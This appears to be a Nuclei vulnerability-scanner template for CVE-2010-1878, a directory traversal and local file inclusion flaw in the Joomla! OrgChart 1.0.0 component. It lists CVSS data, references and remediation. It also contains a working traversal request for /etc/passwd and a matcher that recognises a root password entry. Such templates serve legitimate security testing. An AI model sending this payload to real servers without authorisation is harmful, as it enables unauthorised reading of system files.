id: CVE-2010-1878

info:
  name: Joomla! Component OrgChart 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the OrgChart (com_orgchart) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component OrgChart to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12317
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1878
    - http://packetstormsecurity.org/1004-exploits/joomlaorgchart-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58031
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1878
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.81565
    cpe: cpe:2.3:a:blueflyingfish.no-ip:com_orgchart:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: blueflyingfish.no-ip
    product: com_orgchart
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,blueflyingfish.no-ip

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dc5b682510b8bee3ed2a7bcec2db3688588e5cd495dbb210642e123af4e422c1022030a7073ddc270bea7a017af5c0334ff17b94e2c32f1bba9cd2cf581e1e3a997c:922c64590222798bb761d5b6d8e72950